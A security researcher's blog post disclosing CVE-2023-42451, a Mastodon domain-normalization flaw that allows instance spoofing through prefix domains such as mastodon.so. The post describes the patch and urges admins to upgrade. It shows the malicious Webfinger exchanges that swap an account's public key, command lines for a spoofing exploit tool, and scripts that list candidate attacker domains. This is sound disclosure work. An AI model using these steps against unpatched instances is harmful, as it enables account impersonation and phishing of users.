Usurping Mastodon instances - mastodon.so/cial (CVE-2023-42451)
07 Nov 2023This blog post gives details about the GHSA-v3xf-c9qf-j667 vulnerability (for which GitHub issued CVE-2023-42451) and how it could be exploited. It is the second out of the 2 vulnerabilities that I reported to the Mastodon security team in August 2023 (more context can be found in the first blog post).
tl;dr: under certain conditions, an attacker could have usurped your Mastodon account.
All Mastodon versions were affected by this vulnerability. If you are a Mastodon instance admin and didn’t apply an update since September 19, please upgrade (patched versions are: 3.5.14, 4.0.10, 4.1.8, 4.2.0-rc2).
Summary
From the advisory:
Old domain name normalization code in Mastodon incorrectly stripped / from domain names, removing any occurrence from the string, not just occurrences at the end of the string. This allows attackers to impersonate domains, provided they are able to register a domain name that happens to be a textual prefix of the impersonated domain.
The bug is deadly simple: in some parts of the code, slashes are removed from the domain tied to an account (the presumed original intent is to strip trailing slashes, such as in domain.example/
). This behavior could have been harmless if it wasn’t used to validate HTTP signatures. With no surprises, the patch is trivial: domain.delete('/')
was replaced with domain.delete_suffix('/')
.
An attacker can misuse this behavior to spoof Mastodon instances. It requires the registration of a malicious domain which matches an instance domain prefix. As an example, the owner of the mastodon.so
DNS (which was created in November 2022 according to whois) can spoof the mastodon.social
instance.
This scenario isn’t that unrealistic since:
- The
.social
TLD is common across Mastodon instances, and.so
is a valid TLD - Various TLDs can be targeted (eg.
.net
→.ne
,.com
→.co
,.dev
→.de
, etc.) - Any subdomain can be targeted (eg.
mastodon.fediverse.decentralized.ninja
→fediverse.de
)
Impact
Let’s consider these 3 fictional actors:
Role | Details | Comment |
---|---|---|
Usurped account | donald@mastodon.social |
Any account on mastodon.social |
Attacker | mastodon.so |
DNS owned by the attacker, starting with mastodon.* to match mastodon.social |
Targeted instance | https://chat.community.io |
Whatever vulnerable instance |
Bypassing the HTTP signature mechanism leads to attacks such as:
- Send private mentions (conversations) from a spoofed account to anyone on a vulnerable instance (eg. sending messages from
donald@mastodon.social
toadmin@chat.community.io
). - Publish public messages (toots) from a spoofed account on any vulnerable instance (eg. usurping
donald@mastodon.social
onchat.community.io
). - Make a spoofed actor follow anyone (eg. making
donald@mastodon.social
followadmin@chat.community.io
). - MiTM: receive private mentions instead of the expected recipient (eg. messages sent to
donald@mastodon.social
fromchat.community.io
can be read by the attacker). - etc.
Analysis
HTTP Signatures
Mastodon refers to the software, but also to the self-hosted, globally interconnected microblogging community which is composed of Mastodon instances. These instances communicate through HTTP requests which usually embed an HTTP signature to prove their authenticity. From the documentation:
HTTP Signatures is a specification for signing HTTP messages by using a Signature: header with your HTTP request. Mastodon requires the use of HTTP Signatures in order to validate that any activity received was authored by the actor generating it.
Public keys can be retrieved easily to verify HTTP signatures. For instance:
$ wget -q --header 'Accept: application/json' -O- https://mastodon.social/users/mastodon | jq .publicKey
{
"id": "https://mastodon.social/users/Mastodon#main-key",
"owner": "https://mastodon.social/users/Mastodon",
"publicKeyPem": "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAtpNfuGPl/WTnSq3dTurF\nMRelAIdvGVkO/VKYZJvIleYA27/YTnpmlY2g+0az4xEhOBtVNA1cTpS63CdXRyNz\ncH/GZtzxkdxN91vZSw0JVy+wG34dzwcq1KWFDz9D/5Tqf16KUJH+TDTlxdOBds91\nIZg+TTkiT+xfnSiC5SLMnn1dTzCW9P0yNJxpn37z7p6pEs63X1wstEEX1qGDUQTO\n1JICpKDjuQZMlioAAA5KG25tg2f+zKlv5M/NI33DblquyJ7TYvIpDN8hsFCRjuvA\nmjtKz/1XIRvQkeKND3UkqX8s6qTGyNOjcT86qt9BqYHYGuppjpRG/QNGoKYalio1\nwwIDAQAB\n-----END PUBLIC KEY-----\n"
}
Replacing the Private Key
Using the redirection mechanisms in the Webfinger code, an attacker can bypass the signature verification with a malicious DNS and eventually create or update an account on a Mastodon instance with arbitrary information.
Let’s consider the previous fictional actors. A simple account search triggers Webfinger requests. Searching for the donald@mastodon.so
account on https://chat.community.io
leads to the following GET requests issued by chat.community.io
and malicious responses issued by mastodon.so
:
GET /.well-known/webfinger?resource=acct:donald@mastodon.so
200 {
"subject": "acct:donald@mastodon.so/cial",
"links": [ { "href": "https://mastodon.so/cial/users/donald" } ]
}
GET /cial/.well-known/webfinger?resource=acct:donald@mastodon.so/cial
200 {
"subject": "acct:donald@mastodon.so/cial",
"links": [ { "href": "https://mastodon.so/cial/users/donald" } ]
}
GET /cial/users/donald
200 {
"id": "https://mastodon.so/cial/users/donald",
"preferredUsername": "donald",
"publicKey": {
"id": "https://mastodon.so/cial/users/donald#main-key",
"publicKeyPem": "-- ATTACKERKEY --"
}
}
Webfinger results in @username
: donald
and @domain
: mastodon.so/cial
, and an arbitrary public key generated by the attacker.
The Account
is eventually created or updated by ActivityPub::ProcessAccountService on chat.community.io
. TagManager.normalize_domain will eventually delete /
from the domain, which results in a class Account
instance with @domain
being mastodon.social
.
The Account
donal@mastodon.social
is created if it doesn’t exist, otherwise it’s updated using the information provided by the attacker (public key, avatar, image, URLs, etc.).
Exploitation
Bypassing the HTTP signature verification allows an attacker to spoof requests from an actor. An exploit has been developed to demonstrate the vulnerability and shared with Mastodon’ security team.
Test environment
To test the exploit, I installed Mastodon on a server whose name is mastodon.local
. This DNS has no importance and could be anything (eg. chat.community.io
), but it’s the one displayed in screenshots below.
In order to usurp mastodon.social
, I modified /etc/hosts
and created a self-signed certificate since I don’t own the mastodon.so
DNS:
$ openssl req -x509 -newkey rsa:4096 -nodes -out fullchain.pem -keyout privkey.pem -days 365
$ sudo cp fullchain.pem /usr/local/share/ca-certificates/mastodon.so.crt
$ sudo update-ca-certificates
Role | Details |
---|---|
Usurped account | admin@mastodon.social |
Attacker | mastodon.so |
Targeted instance | https://mastodon.local |
Toot
The following command line sends a (spoofed) private message from mastodon@mastodon.social
. The spoofed profile looks the same as the legit one (avatar, image, URLs, etc.) but it could have been made different:
$ ./mastospoof.py --spoof mastodon@mastodon.so/cial --target mastodon.local --toot 'HACK THE PLANET! [...]'
Super careful users can notice that the actor is spoofed because, when displayed, the original profile link is dubious (here, one has to click on menu
and show the open original page
link).
However, after having sent spoofed toots or private messages, attackers can restore the legit actor Account
by triggering an action which requires an HTTP signature verification using legit URIs. Which makes spoofed toots and private messages indistinguishable from legit ones.
Follow and Private Message
The following command lines make mastodon@mastodon.social
follow admin@mastodon.local
, then send a (spoofed) private message:
$ ./mastospoof.py --spoof mastodon@mastodon.so/cial --target admin@mastodon.local --follow
$ ./mastospoof.py --spoof mastodon@mastodon.so/cial --target admin@mastodon.local --pm 'URGENT! [...]'
On the Internet
In order to prove that the exploit works outside of my local network, I bought the DNS █████████.co
for 10$ and sent a spoofed private message from admin@██████████.com
to a test account on https://mastodon.social.
Role | Details |
---|---|
Usurped account | █████████@█████████.com |
Attacker | █████████.co |
Targeted instance | https://mastodon.social |
Afterthoughts
It seems difficult to tell whether the vulnerability was exploited in the wild and if accounts on an instance were spoofed.
I developed a quick script to list potential malicious domains, ordered by account number, which could be used by an attacker to target vulnerable instances. IIRC, I downloaded Mastodon instances lists from https://instances.social and it’s a bit outdated. Output excerpt:
$ ./malicious-domains.py
sleeping.town (214748364): ['sleeping.TO']
mastodon.social (1524743): ['mastodon.SO']
pawoo.net (909218): ['pawoo.NE']
mastodon.firefly.land (900701): ['mastodon.FIRE', 'mastodon.FI', 'mastodon.firefly.LA']
daystorm.netz.org (479023): ['daystorm.NE', 'daystorm.NET']
...
Given a domain name, this Python script lists the TLDs that can be used for malicious domains:
$ ./malicious-tld.py mastodon.sdf.org
mastodon.sdf.org: ['SD']
$ ./malicious-tld.py infosec.exchange
infosec.exchange: no TLD exist
If, for a given instance, no TLD exists to create a malicious domain or no malicious domain was ever registered, we are 100% sure that the vulnerability wasn’t exploited against this instance. Otherwise, I don’t know if there’s a way to tell easily if and when a domain was registered, though. Some databases and services exist, but they aren’t comprehensive and there is no data for some TLD.
Conclusion
Once again, if you are a Mastodon instance admin and didn’t apply an update since September 19, please upgrade (patched versions are: 3.5.14, 4.0.10, 4.1.8, 4.2.0-rc2).
Since v4.2.0, Mastodon instances automatically check for available updates and notify admins. It should help them to apply critical security updates in a timely fashion.